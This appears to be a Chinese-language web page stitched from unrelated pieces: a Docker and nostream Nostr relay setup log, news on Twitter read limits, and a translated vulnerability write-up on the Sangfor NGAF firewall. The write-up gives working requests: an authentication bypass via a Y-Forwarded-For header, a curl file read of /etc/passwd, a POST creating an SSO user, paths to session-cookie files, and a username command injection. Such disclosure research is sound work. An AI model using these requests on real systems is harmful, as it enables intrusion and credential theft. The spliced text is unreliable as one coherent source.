Reading state information… Done
Package ‘docker.io’ is not installed, so not removed
0 upgraded, 0 newly installed, 0 to remove and 30 not upgraded.

然後，安裝 docker 需要的證書組件。

kimim@nostr:~$ sudo apt-get install ca-certificates curl gnupg lsb-release
Reading package lists… Done
Building dependency tree… Done
Reading state information… Done
lsb-release is already the newest version (11.1.0ubuntu4).
lsb-release set to manually installed.
ca-certificates is already the newest version (20211016ubuntu0.22.04.1).
ca-certificates set to manually installed.
curl is already the newest version (7.81.0-1ubuntu1.7).
curl set to manually installed.
gnupg is already the newest version (2.2.27-3ubuntu2.1).
gnupg set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 30 not upgraded.

接著，添加 docker 官方 GPG 證書。

kimim@nostr:~$ sudo mkdir -p /etc/apt/keyrings
kimim@nostr:~$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg –dearmor -o /etc/apt/keyrings/docker.gpg

添加 docker 官方源：

kimim@nostr:~$ echo \
“deb [arch=$(dpkg –print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) stable” | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

再次更新軟體包：

kimim@nostr:~$ sudo apt-get update
Get:1 https://download.docker.com/linux/ubuntu jammy InRelease [48.9 kB]
Get:2 https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages [12.7 kB]
Fetched 61.6 kB in 1s (105 kB/s)
Reading package lists… Done

安裝 docker 以及 cli，compose 插件。

kimim@nostr:~$ sudo apt-get install docker-ce docker-ce-cli containerd.io docker-compose-plugin

# list of packages need to be installed
0 upgraded, 11 newly installed, 0 to remove and 30 not upgraded.
Need to get 111 MB of archives.
After this operation, 397 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y

# installation in progress

把當前用戶添加到 docker 許可權組：

kimim@nostr:~$ sudo usermod -a -G docker kimim
kimim@nostr:~$ newgrp docker

測試一下 docker 是否正常工作：

kimim@nostr:~$ docker run hello-world
Unable to find image ‘hello-world:latest’ locally
latest: Pulling from library/hello-world
2db29710123e: Pull complete
Digest: sha256:aa0cc8055b82dc2509bed2e19b275c8f463506616377219d9642221ab53cf9fe
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

3. 配置伺服器證書

修改 nginx 的配置文件。請根據自己的伺服器域名修改 server_name 欄位。

kimim@nostr:~$ sudo rm -rf /etc/nginx/sites-available/default
kimim@nostr:~$ sudo vi /etc/nginx/sites-available/default
# 添加以下內容
kimim@nostr:~$ cat /etc/nginx/sites-available/default
server{
server_name nostr.kimi.im;
location / {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_pass http://127.0.0.1:8008;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection “upgrade”;
}
}

重啟 nginx，使配置生效。

kimim@nostr:~$ sudo service nginx restart

添加 A 域名記錄，比如：

TYPE HOST ANSWER TTL
A nostr.kimi.im 192.30.252.153 300

等一兩分鐘，等域名記錄生效，再用 certbox 配置伺服器證書：

kimim@nostr:~$ sudo certbot –nginx -d nostr.kimi.im
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Enter email address (used for urgent renewal and security notices)
(Enter ‘c’ to cancel): [email protected]

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.3-September-21-2022.pdf. You must
agree in order to register with the ACME server. Do you agree?
– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
(Y)es/(N)o: Y

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/nostr.kimi.im/fullchain.pem
Key is saved at: /etc/letsencrypt/live/nostr.kimi.im/privkey.pem
This certificate expires on 2023-05-05.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.

Deploying certificate
Successfully deployed certificate for nostr.kimi.im to /etc/nginx/sites-enabled/default
Congratulations! You have successfully enabled HTTPS on https://nostr.kimi.im

– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –
If you like Certbot, please consider supporting our work by:
* Donating to ISRG / Let’s Encrypt: https://letsencrypt.org/donate
* Donating to EFF: https://eff.org/donate-le
– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –

4. 運行 nostream

獲取 nostream 代碼：

kimim@nostr:~$ git clone https://github.com/Cameri/nostream.git
Cloning into ‘nostream’…
remote: Enumerating objects: 3287, done.
remote: Counting objects: 100% (1228/1228), done.
remote: Compressing objects: 100% (415/415), done.
remote: Total 3287 (delta 889), reused 984 (delta 803), pack-reused 2059
Receiving objects: 100% (3287/3287), 1.05 MiB | 7.90 MiB/s, done.
Resolving deltas: 100% (2036/2036), done.

用 docker 運行 nostream，大概用了兩分鐘，就看到一個漂亮的 NOSTREAM logo 了。

kimim@nostr:~$ cd nostream/
kimim@nostr:~/nostream$ npm run docker:compose:start
> [email protected] docker:compose:start
> ./scripts/start

[+] Running 25/25
# …
[+] Building 128.2s (16/16) FINISHED
# …
[+] Running 6/5
# …
Attaching to nostream, nostream-cache, nostream-db, nostream-migrate
# …
nostream-db | CREATE DATABASE
# …
nostream |
nostream | ███▄ █ ▒█████ ██████ ▄▄▄█████▓ ██▀███ ▓█████ ▄▄▄ ███▄ ▄███▓
nostream | ██ ▀█ █ ▒██▒ ██▒▒██ ▒ ▓ ██▒ ▓▒▓██ ▒ ██▒▓█ ▀▒████▄ ▓██▒▀█▀ ██▒
nostream | ▓██ ▀█ ██▒▒██░ ██▒░ ▓██▄ ▒ ▓██░ ▒░▓██ ░▄█ ▒▒███ ▒██ ▀█▄ ▓██ ▓██░
nostream | ▓██▒ ▐▌██▒▒██ ██░ ▒ ██▒░ ▓██▓ ░ ▒██▀▀█▄ ▒▓█ ▄░██▄▄▄▄██ ▒██ ▒██
nostream | ▒██░ ▓██░░ ████▓▒░▒██████▒▒ ▒██▒ ░ ░██▓ ▒██▒░▒████▒▓█ ▓██▒▒██▒ ░██▒
nostream | ░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░ ▒ ░░ ░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ▓▒█░░ ▒░ ░ ░
nostream | ░ ░░ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░ ▒ ▒▒ ░░ ░ ░
nostream | ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░
nostream | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
nostream | v1.21.0
nostream | NIPs implemented: 1,2,4,9,11,12,15,16,20,22,26,28,33,40
nostream | Pay-to-relay disabled
nostream | Payments provider: zebedee
nostream | 2 client workers started
nostream | 1 maintenance worker started
nostream | Tor hidden service: disabled

5. 用 noscl 測試 relay 是否正常工作

刪除之前添加的 relay：

[kimim@virtualbox Desktop]$ ./noscl relay
wss://nos.lol: rw
[kimim@virtualbox Desktop]$ ./noscl relay remove wss://nos.lol
Removed relay wss://nos.lol.

添加剛剛搭建的 relay：

[kimim@virtualbox Desktop]$ ./noscl relay add wss://nostr.kimi.im
Added relay wss://nostr.kimi.im.

發送消息 Bonjour tout le monde：

[kimim@virtualbox Desktop]$ ./noscl publish “Bonjour tout le monde”
Sent event a170e3f3c4f8cfb79cacccf28d5f7d51a5e17b4e40c0984593a692b83f9cf43c to ‘wss://nostr.kimi.im’.
Seen a170e3f3c4f8cfb79cacccf28d5f7d51a5e17b4e40c0984593a692b83f9cf43c on ‘wss://nostr.kimi.im’.

在 Damus 一開始收不測試帳號發送的消息，需要在 Damus 客戶端也添加同樣的 relay。

• 文睿：真，窮瘋了，一個消息，正在快速引爆整個社交網路
• 【404文庫】「我感覺到社交網路和我的現實生活產生了巨大的割裂」（外二篇）
• 中國式荒誕：社交網路與現實生活的巨大割裂
• 法新社：李克強老家祖屋前有人獻花 社交網路受到審查
• 404：從2019開始，我的社交網路和現實生活產生了巨大割裂

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

然後，就能看到測試帳號發的：Bonjour tout le monde

如果您喜歡花幾個小時瀏覽 Twitter，我們有一些不利的消息。埃隆·馬斯克（Elon Musk）限制了用戶一天可以閱讀的推文數量。周六，這位科技大亨透露了這一變化，但遭到了用戶的嚴厲批評。

據馬斯克稱，已經做出限制系統篡改和數據抓取的決定。此外，對已確認、未驗證和新用戶施加了不同的讀取限制。要了解進展的所有細節，請繼續閱讀。

Twitter 限制用戶一天可以閱讀的帖子數量

根據馬斯克 7 月 1 日的公告，經過驗證的用戶現在每天可以看到 6000 條推文，而未經驗證的用戶每天只能看到 600 條推文。由於未經驗證的新用戶每天只有 300 條推文，這個數字要低得多。不過，據報道，這一上限只是暫時的。

「為了解決極端水平的數據抓取和系統操縱問題，我們應用了以下臨時限制： – 已驗證帳戶每天只能閱讀 6000 個帖子 – 未經驗證帳戶每天最多只能閱讀 600 個帖子 – 新的未經驗證帳戶每天最多只能閱讀 300 個帖子」馬斯克在他的推文中表示。

特斯拉首席執行官隨後發布了第二條推文，通知粉絲該數字很快就會增加。他在推特上寫道：「已驗證的速率限制很快就會增加到 8000，未驗證的速率限制將增加到 800，新的未驗證的速率限制將增加到 400。」馬斯克通過發帖強調了他的選擇，「由於閱讀了所有有關速率限制的帖子，速率受到限制。」

推特用戶對此舉感到憤怒

甚至在馬斯克宣布這一消息之前，數千名用戶就無法訪問微博平台上的推文。一些人抱怨說，當他們嘗試載入 Twitter 源時，卻收到了這樣的消息：「抱歉，您的流量受到限制。請稍等片刻后再重試。

「超出速率限制」和「#TwitterDown」成為網路上的熱門話題。當馬斯克最終透露事故原因時，用戶感到憤怒。在我的時間軸上，我每分鐘滾動瀏覽大約 100 個帖子。一位人士評論說，如果他繼續這樣做，推特真的會完蛋。

「這是我在這裏見過的最荒謬的想法，」另一個人反駁道。它正在毀掉 Twitter。一位用戶的進一步評論表示，「你應該強烈考慮將 Twitter 賣給那些真正知道如何避免像這樣異想天開、短視的搶錢行為把 Twitter 搞砸的人。」

推文也僅限於登錄用戶

就在馬斯克決定阻止用戶在未登錄帳戶的情況下訪問 Twitter 的一天後，閱讀限制已經發布。因此，沒有 Twitter 帳戶的個人將無法訪問該網站上的任何帖子。

• 馬斯克向被解僱的澳大利亞推特員工追討「多付的薪酬」
• 推特上的中國：北京環台軍演嚇到了誰？
• 馬斯克宣布 推特網域已轉移到…
• 推特上的中國：習近平的歐洲之行是成功的嗎？
• 推特上的中國：駐美大使謝鋒哈佛校園宣傳北京治理模式遭批評

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

自從獲得社交媒體網路的控制權以來，馬斯克採取了一系列舉措，其中大部分都招致了專家的批評。過去幾個月，Twitter 的用戶群減少了，利潤也減少了。此外，廣告商已開始離開該平台，特別是在 Linda Yaccarino 被選為新任首席執行官之後。

你可能已經注意到了一個趨勢 – 是的，我們知道，我們看了很多企業級軟體和設備。今天，我們不打算改變你對我們的期望 – 我們還是在看更多的企業級軟體和設備。

今天，我們來看看Sangfor的Next Gen Application Firewall（NGAF）。

Sangfor（或Sangfor Technologies）是一家「中國的網路設備製造商，包括WAN優化、下一代防火牆和SSL VPN，主要銷售給中型企業」。

Sangfor自稱是「有效的網路安全和高效的企業雲解決方案的正確選擇」。我們知道這一點（除了「因為他們在他們的網站上這樣說」），因為「在Sangfor，我們相信為我們的客戶提供最好的IT架構和安全解決方案」。

以下是Sangfor關於他們NGAF的一些介紹：

「Sangfor NGAF是世界上第一個具有人工智慧功能和全面集成的NGFW（下一代防火牆）+ WAF（Web應用防火牆），通過Neural-X和Engine Zero等創新技術提供全面的威脅保護。它是一個真正安全、集成和簡化的防火牆解決方案，為整個組織的安全網路提供全面的概覽，併為管理、運營和維護提供便利。」

太棒了。

在我們開始這段旅程之前，我們想明確一點 – Sangfor告訴我們，這篇博文中的所有漏洞要麼已經修復，要麼是誤報。我們不是在宣稱發現了0day漏洞。因此，我們很高興與大家分享我們對舊漏洞的分析，以及我們根據Sangfor的說法認為是故意設計的行為，最終我們很高興我們不需要應用我們的90天漏洞披露政策。

好奇的人可能會問：「這些已經存在且已修復的漏洞的公開通告在哪裡？」好奇的人可能還會問，這樣的漏洞怎麼會出現在首次部署的安全設備中？幸運的是，我們不是好奇的人，我們很高興不去質疑這些平凡的事情。

無論如何，我們偏離了主題。作為我們博文的痴迷讀者可能已經知道，我們經常針對我們自豪地與之合作的組織的攻擊面上看到的企業技術。

痴迷的讀者也會熟悉我們對安全防火牆和VPN設備的深入痴迷 – 我們並不缺乏想象力，我們只是想要我們進入網路的入口點。
尋找獵物

在以前的博文中，我們詳細介紹了如何破解應用程序的詳細步驟 – 提取HTTP路由、尋找參數，並確定我們在目標軟體中將哪些功能部分定性為「感興趣」。然而，在所有這些之前，必須做出一個決定 – 目標是否有足夠的吸引力，是否值得投入時間？

這種決策可能受到多種因素的影響，例如代碼複雜性、現實世界的影響、安全透明度（哈哈），在這種特殊情況下，是不是散發出潛在的脆弱軟體的明顯跡象？

Sangfor的NGAF引起了我們的注意，因為它沒有CVE披露。這通常意味著要麼安全社區尚未對其代碼進行審查，要麼所討論的設備確實是安全的，或者更有可能的答案 – 一個充斥著保密協議和類似類型協議的漏洞賞金計劃使安全流程變得神秘！

我們通過https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4獲得了Sangfor NGAF在AWS上的鏡像，版本為AF8.0.17.364。

基於重定向行為、埠和伺服器標語iis8.0

在深入研究代碼和工作流程之前，我們可以從鳥瞰視角使用各種技巧來計算成功的「概率」。這些「概率」將幫助我們決定發現漏洞的可能性有多大，因此我們應該花費多少時間和精力來審計目標。

令許多批評者失望的是，我們在代碼庫中看到的第一個「線索」是這個被稱為「下一代」的設備使用了PHP和C++ CGI二進位文件的混合。我們之前已經看到過自定義的PHP應用程序如何導致安全問題，你只需要看看我們最近對Juniper防火牆的深入研究就知道了 – 但不要只聽我們的意見，即使是Sangfor的開發人員對PHP也持有不好的看法，我們完全贊同。

此外，包含這種粗俗語言的代碼庫本身就是一個「線索」 – 開發人員要麼沒有打算讓公眾看到這些代碼，要麼根本不在乎顯得不專業 – 在我們看來。

顯然，我們的「概率」看起來相當不錯。
當伺服器端變成客戶端時…

除了在應用程序代碼庫中尋找粗俗語言和註釋之外，我們首先對設備進行了一些簡單的測試。

當我們對設備有所了解時，我們開始探索可能揭示技術堆棧和架構內部工作方式的有趣行為。

很快，我們就發現了一個「線索」，這讓我們對Sangfor NGAF的興趣大增。

當請求目標伺服器的PHP文件時，如果Content-Length頭部中存在非數字值，伺服器將以HTTP狀態413（「內容太大」）進行響應。這並不是什麼特別的，但不尋常的是，伺服器端源代碼（PHP）被轉儲在響應中（??）：

curl –insecure  https://<host>:85/index.php -H “content-Length:asdf”

HTTP/1.1 413 Request Entity Too Large
Date: Tue, 03 Oct 2023 10:08:06 GMT
Server:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/index.php<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
<?php
/*
* @Func:    所有的请求都ç」¨apache服务å¨mod_rewrite模块æ」¹å†URL规åˆï¼Œé‡æ–°å®šå『到è¿ä¸ªphp文件
*/
session_start();

//统一使ç」¨webappsä½œä¸ºæ ¹ç›®å½•å®šä½å…¶å®ƒæ–‡ä»¶
require_once(“../class/common/conf/config_inc.php”);
if(SANGFOR_LANGUAGE == ‘en.UTF-8’) {
require_once(“../conf/lang/eng.utf8.lang.app.php”);
}

else {
require_once(“../conf/lang/chs.utf8.lang.app.php”);
}

//判断是否存在硬盘
if(@file_exists(“/etc/sinfor/log/diskerror.log”)) {
header(“Content-Type:text/html; charset=utf-8”);
echo LOG_DISK_ERROR;
exit(0);
}

//对于高端母盘设备ssd+hdd判断hdd是否异常
if(@file_exists(“/etc/sinfor/log/adv_diskerror.log”)) {
header(“Content-Type:text/html; charset=utf-8″);
echo LOG_DISK_ERROR;
exit(0);
}

require_once(CLASS_COMMON_PATH.”dispatch/CFrontController.php”);

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
?>

幾個小時后，盯著屏幕看了很久，我們得出結論，這可能不是故意的（Sangfor不同意）。

作為一個有教養的猜測，我們最有可能看到的是一個整數處理問題，發生在CGI處理程序的某個地方。不幸的是，這種類型的漏洞通常涉及敏感文件（如config.php等），這些文件在升級訪問許可權的漏洞中非常有用，但這些文件在這種情況下並不存在。

儘管上述行為很有趣，但我們對所達到的混亂程度並不滿意 – 但我們確實感到，我們已經證明了這個設備很可能達到了「有趣」的標準。因此，是時候深入研究了。
洗牌和發牌

對於在家裡跟隨的朋友們，我們迅速枚舉了使用命令lsof -nP -i | grep LISTEN從NGAF的本地shell上暴露的服務。簡而言之，我們可以看到我們有兩個HTTPS服務開放，監聽在0.0.0.0上：

埠85/TCP，運行「防火牆報告中心」，以及
埠4433/TCP，運行「管理員登錄門戶」。

自然地，我們深入研究了埠85/TCP。

在這個服務中找到入口點 – 在位於/etc/apache/conf.new/original/httpd.conf的Apache配置中定義。

當我們試圖了解設備暴露的攻擊面以及Apache Web伺服器配置文件中的具體內容時，我們尋找Location、ScriptAlias和Alias指令。這樣做通常會為我們提供一個很好的端點和暴露目錄的列表，在這個安全、強化的、由AI驅動的Sangfor設備的情況下，呈現的結果包括一個豐富的可能性列表：

Alias /icons/ “/virus/apache/apache/icons/”
Alias /bbc “/virus/webui/ext/fast_deploy.html”
Alias /manual/ “/virus/apache/apache/htdocs/manual/”
Alias /cgi-bin/ “/virus/webui/cgi-bin/”
Alias /svpn_html/ “/virus/webui/svpn_html/”
Alias /proxy.html “/virus/webui/ext/login.php”
Alias /proxy_cssp.html “/virus/webui/ext/login.php”

然而，嘗試訪問其中任何一個項目都會被重定向到認證頁面 – 在LogInOut.php。

對我們來說，后認證漏洞並不感興趣 – 我們只對預認證漏洞感興趣。是時候再次查看Apache配置了。

進一步分析這個配置文件揭示了一個RewriteRule規則，它將所有請求重寫到index.php，其中包含幾個require和更重要的是 – 對控制器類的調用。

require_once(CLASS_COMMON_PATH.”dispatch/CFrontController.php”);

$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();

這個控制器類處理我們的應用級路由。它在CFrontController.php中進行了詳細的映射，我們可以看到與每個端點相關聯的控制器函數：

沒有一個直接通過Web界面訪問這些函數，而不需要先進行身份驗證，所以現在是時候查看調用這些函數的函數了。這就是dispatchRequest()函數。

在查看這個函數的時候，我們立即看到了我們下一個感興趣的點 – 函數在轉發請求之前檢查身份驗證。

我們可以看到一個IF條件，它將$_SERVER[‘REMOTE_ADDR’]（即客戶端的IP地址）與127.0.0.1（本地主機）的值進行比較，如果匹配，那麼布爾值$t_boolNeedCheck被設置為false，並且繞過了重定向邏輯的其餘部分。

這是條件身份驗證的最佳實踐。

public function dispatchRequest()
{
$t_objController = $this->getControllerInstance();
if($t_objController) {
//是否需要判斷跨站攻擊，一般登錄頁面不需要判斷跨站攻擊
if ($_SERVER[‘REMOTE_ADDR’] === ‘127.0.0.1’)
$t_boolNeedCheck = false;
else
$t_boolNeedCheck = true;
if(isset($t_objController->m_boolNeedCheck))
$t_boolNeedCheck = $t_objController->m_boolNeedCheck;
//防止跨站攻擊
if($this->isAuthUser() && strcmp($_SERVER[‘REMOTE_ADDR’],”127.0.0.2″) != 0 && !isset($_REQUEST[‘scinfo’]) && !isset($_REQUEST[‘sd_t’]) && (!isset($_GET[‘sid’]) || $_GET[‘sid’] != session_id()) && $t_boolNeedCheck)
{
//要設置t_boolNeedCheck = false，要不會有重定向死循環
CMiscFunc::locationHref(‘/Redirect.php?url=/LogInOut.php’);
exit(0);
}
$t_fStartTime = $this->costMicroTime();
$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);
$t_fEndTime = $this->costMicroTime();
$t_fTotal = $t_fEndTime – $t_fStartTime;

CMiscFunc::printMsg($t_fTotal);
return true;
}
CMiscFunc::locationHref(‘/Redirect.php?url=/LogInOut.php’);
return false;
}

作為外部攻擊者，我們能否控制PHP看到的IP地址，或者是否存在SSRF類型的漏洞，我們可以利用它們繞過這種強大的安全控制？

在現實世界中，有幾個頭部可以實現這一點 – 例如X-Forwarded-For和X-Real-Ip HTTP請求頭，但實驗證明它們沒有效果。

再次參考httpd.conf，我們可以看到一個不尋常但可疑的指令 – RPAFheader Y-Forwarded-For。這個指令是從mod_rpaf模塊載入的，允許客戶端設置他們的「遠程」IP地址…很有用。我們認為這可能是預期的功能。

測試請求涉及Y-Forwarded-For: 127.0.0.1，我們發現當進行未經身份驗證的請求時，我們不再被重定向到登錄頁面。

哇哦！我們在潛在的漏洞鏈中達到了第一階段，因為這為我們打開了一個「全新的世界」 – 所有在Apache配置中定義的Alias。

例如，以前無法訪問的/vmp_getinfo現在在我們的掌握之中：

curl –insecure  https://<host>:85/vmp_getinfo -H “Y-Forwarded-For: 127.0.0.1”

這是一個事後的想法，但我們花了一些時間思考這個設置的實際目的，因為它在代碼中沒有被使用。也許它在測試期間被使用過，或者在後來的版本中刪除了一些最初的目的？我們將這個想法留給你們自己思考，但是你知道，計算機和代碼並不是魔法。

再展示一點…

憑藉我們的「潛在行為」，我們有了一些有趣的行為，現在是時候出發，看看我們接下來要去哪裡了？

回到Apache配置文件，有一個有趣的Alias指令 – /svpn_html/ “/virus/webui/svpn_html/” – 它呈現了一個更大的應用程序代碼和功能集合供我們踢。

我們注意到了loadfile.php，它接受一個名為file的參數，解析其路徑，讀取內容，並將其寫入響應。看起來像是一個易於獲得的任意文件讀取漏洞：

<?php
function get_basename($filename){
return preg_replace(‘/^.+[\\\\\\\\\\\\/]/’, ”, $filename);
}
$file = addslashes($_GET[‘file’]);

echo $file;
//add by 1w
$file_path = pathinfo($file);

$extname = $file_path [‘extension’];
$filename = “”;

if (!file_exists($file)) {
die(“File Not found”);
}
$filename = get_basename($file);

$ua = $_SERVER[“HTTP_USER_AGENT”];
header(‘Content-type: application/octet-stream’);
if (preg_match(“/Firefox/”, $ua)) {
header(‘Content-Disposition: attachment; filename*=”utf8\\’\\” . $filename . ‘”‘);
} else {
header(‘Content-Disposition: attachment; filename=”‘ . urlencode($filename) . ‘”‘);
}
readfile($file);

if($needDelete) {
@unlink($file);
}
?>

curl –insecure  https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H “y-forwarded-for: 127.0.0.1”

糟糕。我們又一次取得了進展。

只是提醒一下，這是「世界上第一個具有人工智慧功能和全面集成的NGFW（下一代防火牆）+ WAF（Web應用防火牆），通過Neural-X和Engine Zero等創新技術提供全面的威脅保護」。

雖然看到/etc/passwd總是一張精彩的截圖，但我們想知道對我們的讀者來說可能產生的最大影響是什麼。除了找到明文憑據之外，我們確實發現了一些顯示活動的PHPSESSID的文件，所以我們可以劫持會話，有很多可以選擇的文件：

/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf

如果你還在尋找以管理員身份輕鬆獲得訪問許可權的更簡單的方法，你可以查看Apache訪問日誌，並查看通過GET請求傳遞的Cookie。Bug Triagers對這個「低級」的發現可能會感到困惑，但我們作為管理員卻很輕鬆。

/virus/apache/apache/logs/access_log

編輯注：我們覺得自己在某些國家是非官方的系統管理員（希望有人能理解這個引用）。
轉折點

此刻，我們不得不停下來，停下來思考。一個「下一代」應用防火牆怎麼會有這樣一個容易的、低懸的漏洞呢？這個設備真的安全嗎？

對於我們來說，發現這個設備中的遠程命令執行漏洞有多麼容易，我們感到非常困惑。難道這個設備真的如此創新和下一代，我們正在看到新的東西嗎？

好吧，暫時我們願意接受這一點 – 我們發現遠程命令執行的機會增加了，現在是時候全力以赴了。

在進一步審計設備之前，我們發現了一個有趣的文件 – HttpHandler.php，它提供了類似AJAX的功能。它接受兩個請求參數，controler和action，並使用它們調用指定的控制器類和公共函數：

public function process()
{
try
{
$controller=$_REQUEST[“controler”];
$action=$_REQUEST[“action”];

$this->validPara($controller, ‘AjaxReq_NoConctroler’);
$this->validPara($action, ‘AjaxReq_NoAction’);
$controller = $controller.”Controller”;

//反射controller類信息
$classInfo = new ReflectionClass($controller);

//創建controller類實例
$instance=$classInfo->newInstance();

//反射得到action方法
$methodInfo = $classInfo->getMethod($action);

//反射得到action參數表
$parainfos=$methodInfo->getParameters();
$paras=array();

例如，如果設備與域連接，我們可以通過/svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3檢索配置數據。

HTTP/1.1 200 OK
Date: Wed, 13 Sep 2023 08:47:12 GMT
Server:

X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 303
Connection: close
Content-Type: text/html

{“code”:0,”success”:true,”result”:{“devName”:”**<redacted>**”,”svrDomainName”:””,”logSvrDomain”:””,”domainComputer”:””,”srvDomainAddr”:””,”domainUserName”:””,”domainUserPwd”:””,”enableDomain”:0,”eanbleDomainAuth”:0},”message”:”Operation success”,”readOnlyInfo”:{“enable_ids”:””,”disable_ids”:””,”readonly”:1}}

是的，真的。

總共有20個控制器和一百多個函數需要審計。不幸的是，大多數具有有趣行為的公共函數還會檢查「正確的」（即除了「源IP」之外）身份驗證，我們再次被重定向到登錄頁面（這次沒有繞過）。

我們找到了一個缺少身份驗證檢查的「寫入」函數，允許我們寫入SQLite資料庫併為SSL VPN創建新的SSO用戶。關於這個的影響，我們將留給你的想象力。

有趣的是，它也容易受到SQL注入的攻擊，但由於底層的DBMS是SQLite，這對於RCE的效用有限。

POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1
Host:
Y-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr

在審計設備花費了大量時間后，我們得到了：

身份驗證繞過
源代碼泄露
本地文件讀取
添加自己的SSO用戶的能力
轉儲Active Directory配置信息，包括用戶名和密碼的能力。

但是，我們感到困惑。遠程命令執行會逃脫我們嗎？這個設備真的安全嗎？
與Pspy合作

在這個過程中，我們不得不重新評估我們明顯失敗的方法。我們需要更多的透明度來理解與系統交互的代碼。

對於大多數這樣的應用程序，主要的注入類型是命令和SQL。也許我們可以通過在資料庫配置中啟用Trace日誌或grep所有正在進行的操作系統命令來增強這些領域的可見性？

通過查看各種類，我們可以看到開發人員喜歡使用shell_exec、exec和popen來執行shell命令。代碼有點難以追蹤，所以我們使用pspy來幫助。

Pspy是一個有用的小工具，常常被CTF團隊使用，它會在後台記錄所有正在生成的進程及其參數 – 對於發現命令注入非常有用，我們懷疑這將是最快到達RCE的路徑。

將pspy二進位文件和grep命令放在目標主機上，允許我們查看Apache進程生成的所有進程及其參數：

在再次運行所有控制器和函數之後，我們仍然無法找到任何明顯的注入點。在耗盡了這個服務的代碼庫之後，我們決定休息一下，放棄（哈哈）。

這是一個幸運的例子 – 當以正常方式進行身份驗證時，某種神秘的力量推動我們的手指，我們不小心輸入了錯誤的用戶名。我們仍然在觀察進程的同時，我們的眼睛睜大了，因為我們看到：

正如您在上面的pspy捕獲中所看到的，用戶名Admi直接傳遞給了一個shell命令…我們是否可能在登錄頁面的用戶名參數中注入我們自己的命令？

這顯然是不可能的…一個普通的掃描器、滲透測試人員或賞金獵人肯定會發現的，對吧？好樣的驗證碼。

在查看文件CFWLogInOutDAO.php時，我們可以找到負責此操作的remoteLogin()函數：

public function remoteLogin(&$in_arrSearchCondition)
{
$userName = $in_arrSearchCondition [‘user_name’];
$passwd = $in_arrSearchCondition [‘password’];
//rsa的解密
$t_strMD5 = $this->decrypt($passwd);
$fp = popen(“/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5”, “r”);
$retResult = fread($fp, 20);
pclose($fp);
if ($retResult == “retLoginSuccess”) {
$in_arrSearchCondition [‘user_name’] = $userName.”_remote_”;
$t_strUserName = addslashes($in_arrSearchCondition [‘user_name’]);
$t_strSQL = “SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = ‘$t_strUserName’ AND status = 1 LIMIT 1”;
return $this->setSession($t_strSQL);
}
return false;
}

具有諷刺意味的是，開發人員在處理之前在用戶名上調用了addslashes()函數，但在在popen()函數中使用之前沒有進行任何凈化。糟糕！

經過一段時間的嘗試，我們意識到無法在用戶名中注入任意特殊字元，因為由於mod_security的限制，引號、重音符號（甚至邏輯運算符||和&&）都是不允許的。然而，我們注意到可以使用分號截斷命令。

作為我們的注意力集中的人，我們希望展示一個神奇的輸出，顯示從單個HTTP請求到響應的命令執行 – 因此，我們必須變得有創造力。響應詳細信息中列出了一個在文件/virus/dcweb/conf/lang/eng.utf8.lang.app.php中聲明的靜態錯誤消息。

